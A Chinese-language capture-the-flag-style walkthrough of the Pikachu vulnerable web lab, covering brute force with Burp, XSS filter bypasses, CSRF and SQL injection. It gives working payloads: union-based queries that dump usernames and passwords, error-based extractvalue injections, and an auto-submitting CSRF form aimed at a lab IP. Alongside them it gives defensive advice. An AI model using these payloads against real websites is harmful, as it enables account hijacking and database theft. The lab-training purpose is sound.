一、搭建靶场

  1. 去官网把靶场下载下来,链接地址
  2. 将下载好的pikachu文件夹到phpstudywww目录下
  3. pikachu/inc/config.inc.php中更改数据库连接的账号和密码
  4. 访问localhost/pikachu/index.php进行初始化安装
  5. 安装完成后即可访问开干

二、暴力破解

1、概述

Burte Force(暴力破解)概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。这里的认证安全策略, 包括:

  1. 是否要求用户设置复杂的密码
  2. 是否每次认证都是用安全的验证码或者手机otp
  3. 是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等)
  4. 是否采用了双因素认证

2、基于表单的暴力破解

一个简单的登陆界面,既没有验证码也没有对登陆的行为进行限制

直接扔Burp里爆破即可

3、验证码绕过(on server)

burp抓包,放入repeatergo一下,发现并没有报验证码错误

这时我们再go一下,发现还是只报账号密码的错误,并没有报验证码的错误,因此只要我们不刷新页面,该验证码就可以被无限使用

那就直接放burp爆破即可

4、验证码绕过(on client)

burp抓包后放入repeater里,发现和上一关一样,并不会报验证码的错误,因此继续直接扔intruder里爆破即可

但这里其实是有一个js用来生成验证码

所以我们只需要将js移除即可

  1. 在浏览器控制台将js禁用

  2. 在burp代理proxy模块的设置里,Response Modification中勾选Remove all Javascript选项,将所有js移除

js关闭后,刷新页面即可发现验证码没有了

然后再进行爆破即可

5、token验证

burp抓包发现有个token

Token介绍

1、当前端向服务器端请求认证并成功后,服务器端将会返回一个Token值给前端作为合法身份的令牌

2、Token可以避免CSRF攻击

分析一下前端的代码可以发现,存在一个隐藏的标签,里面记录了服务端返回的token值,并且和我们抓到的数据的包的token值不一样,因此我们可以推测我们每请求一次服务端,服务端就会返回一个不同的token值来验证我们的身份

解决思路很简单,因为当我们发送请求给服务端之后,服务端就已经给了我们一个新的token值,因此我们需要将这个token值获取出来并在我们的下一次爆破做为身份令牌

  1. 抓包后放入intruder模块,并将攻击类型(attack type)改为Pitchfork(对每个标记的字段分配不同的字典)

  2. 接下来设置Payloads

    对第一个字段,也就是password字段,设置一个字典

  3. 然后将Payload set改为2,设置第二个字段,将Payload type改为Recursive grep(递归查找),然后在options设置里找到Grep - Extract模块,点击Add

  4. 在弹出来的窗口中点击Fetch response,然后找到token的位置,将value值选中并复制(待会有用),然后点OK即可

  5. 将页面拉到最下面,找到Redirections模块,将Always选上

  6. 回到Payloads,在Initial payload for first request的值那粘贴刚刚复制的token

  7. 最后将线程改为1就可以开始攻击了

结果如下

三、XSS(跨站脚本漏洞)

1、概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

  1. 反射型XSS

    交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询类页面

  2. 存储型XSS

    交互的数据会被存在数据库里面,永久性存储,一般出现在留言板、注册等页面

  3. DOM型XSS

    不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射性

  • XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
  • XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
  • 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
  • 因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
    1. 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入
    2. 输出转义:根据输出点的位置对输出到前端的内容进行适当转义

2、反射型xss(get)

<script>alert(1)</script>写入,发现有长度限制,但这只是前端的限制,我们只需要在URL上进行修改即可

攻击成功

3、反射型xss(post)

用admin/123456登陆进去后,按照上一关的payload即可成功

4、存储型xss

同样将<script>alert(1)</script>输入,然后每次进入这个页面就会执行一次这个js,这就是存储型,因为存储型xss是保存在数据库里的,如果用户刷新,留言列表会从数据库提取出xss数据弹框

5、DOM型xss

将之前的payload输入进去后发现并没有用,F12打开控制台,发现我们填入的内容被引号给转义了

因此我们要在前面加一个单引号将其闭合,构造payload:'onclick="alert(1)>",点击出现的链接即可触发

6、DOM型xss-x

这题和上一题是一样的道理

payload:'onclick="alert(1)">

7、xss之盲打

概念

1、盲打其实只是一种习惯性的说法,就是在不知道后台有没有xss存在的情况下,不顾一切的输入xss代码在留言处,这个留言不在用户前端显示,而是在管理员页面显示。

2、xss盲打是指在攻击者对数据提交后展现的后台未知情况下,网站采用了攻击者插入带真实攻击功能的xss攻击代码(通常是使用js标签引入远程的js)。当未知后台在展现时没有对这些提交的额数据进行过滤,那么后台管理人员在操作时就会触发xss攻击。

随便输入一点东西进去试试!发现前端没有任何的显示

看提示说后台已经收到了我们提交的内容了,登录后台看一下

可以看到我们成功的提交信息到了后台,因此在前端构造js语句<script>alert(1)</script>

提交后再次登录后台,即可发现攻击成功

8、xss之过滤

随便输入点东西试试!发现他会重复你输入的内容并显示在前端

但当我们构造js语句试图攻击时,发现我们的语句被过滤了

那么我们就要通过各种绕过的姿势将其绕过

我写过相应的文章,可以参考一下:XSS各种绕过姿势

在这里就简单说几个常见的绕过

  1. 大小写绕过

    <SCRIPT>aLeRT(1)</sCRIpt>

  2. 双写关键字绕过

    <scri<script>pt>alert(1)</scri</script>>pt>

  3. 各种编码绕过

如果不想绕过的话,我们也可以换一种js的写法:<a onclick="alert(1)">

可以看到这种写法并没有被过滤,成功将js写入

我们只需要点击这个链接即可触发xss

9、xss之htmlspecialchars

关于htmlspecialchars()函数

该函数是把预定义的字符转换为html实体

预定义的字符是:

  1. &(和号)转换为&amp
  2. "(双引号)转换为&quot
  3. '(单引号)转换为&#039
  4. <(小于号)转换为&lt
  5. >(大于号)转换为&gt

把这些符号随便输入一些进去

打开控制台,可以看到除了&和单引号,其余的符号都被过滤了

所以构造payload:' onclick='alert(1)',提交后查看源码

点击链接,发现成功弹窗

10、xss之href输出

这里把' " < >四个全部过滤掉了,但是可以用javascript:伪协议绕过

1
javascript:alert(1)

成功弹窗

防御措施:

  1. 输入的时候只允许 http 或 https 开头的协议,才允许输出
  2. 输入的内容再进行 htmlspecialchars 处理

11、xss之js输出

随便输入内容,然后回显出一句话,根据这句话我们就能找到这个 js 的源码的位置

根据这个 js 的内容进行构造xss语句即可,payload:

1
'</script><script>alert(/1/)</script>'

成功弹窗

12、xss常见防范措施

  1. 总的原则:输入做过滤;输出做转义
  2. 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
  3. 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到 js 里面的进行 js 转义。

四、CSRF

1、概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:

  1. www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
    —因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
  2. 小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
    —如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
    —因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
    当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做:欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
    —所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
    • 对敏感信息的操作增加安全的token;
    • 对敏感信息的操作增加安全的验证码;
    • 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

2、CSRF(get)

先利用提示给的其中一个用户名进行登录

登录后抓包查看数据,发现数据都是在url上进行修改

将数据进行修改

修改完成后打开一个新页面然后访问这个url即可完成数据修改

同时原页面在刷新后,数据也发生了改变

3、CSRF(post)

这里的所以参数数据都是以POST的方式进行提交,简单的构造url行不通,那就可以通过伪造网站进行攻击

==攻击者先搭建一个站点,在这个站点上做一些表单提交,诱导受害者点击链接,当受害者点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息==

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<script>
window.onload = function(){
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://1.12.47.102:8001/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="body" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="usa" />
<input id="email" type="text" name="email" value="vince@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

将该页面放入www服务下,诱导受害者去点击即可

4、CSRF Token

这是一个很好的防范CSRF的措施,每次请求和响应都增加一个Token(随机码),每次的请求都要经过Token验证,很好的防范了CSRF

5、常见CSRF防范措施

  1. 增加Token验证
  2. 不要在客户端保存敏感信息(如身份认证信息)
  3. 设置会话过期机制,如10分钟内无操作则自动退出
  4. 敏感信息的修改需要对身份进行二次认证,比如修改密码时要对旧密码进行验证
  5. 敏感信息的修改要使用POST而不用GET
  6. 通过http头部的referer来限制原页面

五、SQL-Inject

1、概述

哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

  1. 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
  2. 使用参数化(Parameterized Query 或 Parameterized Statement);
  3. 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
    SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。

2、数字型注入(post)

抓包,构造SQL语句

1
2
3
4
5
6
id=2 order by 3	# 报错Unknown column '3' in 'order clause'
id=2 order by 2 # 正常回显,爆字段列数为2
id=2 union select database(),user() # 得到回显hello,pikachu <br />your email is: root@localhost,即爆出数据库名为pikachu和数据库用户为root@localhost
id=2 union select table_name,2 from information_schema.tables where table_schema = database() # 爆数据表
id=2 union select database(),group_concat(column_name) from information_schema.columns where table_name='users' # 爆字段
id=2 union select database(),group_concat(username,':',password) from users # 爆内容

3、字符型注入(get)

字符型注入原理:
PHP中接收了参数后在进行拼接SQL语句的时候大概语句是这样的select XXX '变量名',这个就是注入点,传进去的参数都会变成字符串,那么我们构造的SQL语句就无法执行,因此要加一个单引号'以闭合前面的单引号,然后后面加上一个#注释掉后面的单引号,这样我们的语句才能被执行

比如我们传进去asd' or 1=1 #,传进去后就变成了'asd' or 1=1 #',可以看到中间的or 1=1并未被单引号包裹,所以它能被识别出并执行,攻击的时候将这个语句改成SQL攻击语句即可

结合字符型注入的原理即可构造payload

1
2
vince' or 1=1 #
'闭合掉前面的单引号,#注释掉后面的单引号以及其他干扰的的语句

然后进行抓包,和数字型一样的构造爆数据的SQL语句即可

4、搜索型注入

先对参数进行测试

发现和字符型是一样的,直接爆内容就行

1
2
3
4
5
asd' order by 3#	# 爆字段列数
asd' union select 1,database(),user()# # 爆数据库名和用户名
asd' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()# # 爆数据表
asd' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'# # 爆字段
asd' union select 1,database(),group_concat(username,':',password) from users# # 爆内容

5、xx型注入

根据提示的意思,无论是什么类型,只要能够闭合掉前面的符号,就能有机会执行SQL语句

查看源码知道变量除了被单引号包含还被括号包含了,因此需要闭合两个符号

payload:

1
2
3
4
5
asd') order by 3#	# 爆字段列数
asd') union select 1,database(),user()# # 爆数据库名和用户名
asd') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()# # 爆数据表
asd') union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'# # 爆字段
asd') union select 1,database(),group_concat(username,':',password) from users# # 爆内容

6、"insert/update"注入(报错注入)

当我们输入的数据导致后端执行SQL语句时发生报错时就可能会出现这种漏洞

updatexml(1,concat(0x7e,database()),1):第一个参数指定 xml 文档表的字段名称,第二个参数应该是合法的XPATH路径,如果不是就会引发报错的同时将传进去的参数进行输出,第三个是新的值,第一第二个参数没有用,关键是中间的数值,中间的数值也可以用表达式的形式,函数会把这个表达式执行了然后以报错的形式返回出来,这就是报错注入的原理

类似的函数还有extractvalue,以及还有floor报错注入

payload

1
1' and extractvalue(1,concat(0x7e,database())) and '	# 爆出数据库名

因为插入和更新,所以抓取注册或者修改信息的数据包,然后修改即可

7、"delete"注入(报错注入)

在删除的时候进行抓包,然后通过报错注入即可

payload:

1
1 and extractvalue(1,concat(0x7e,database()))	# 爆数据库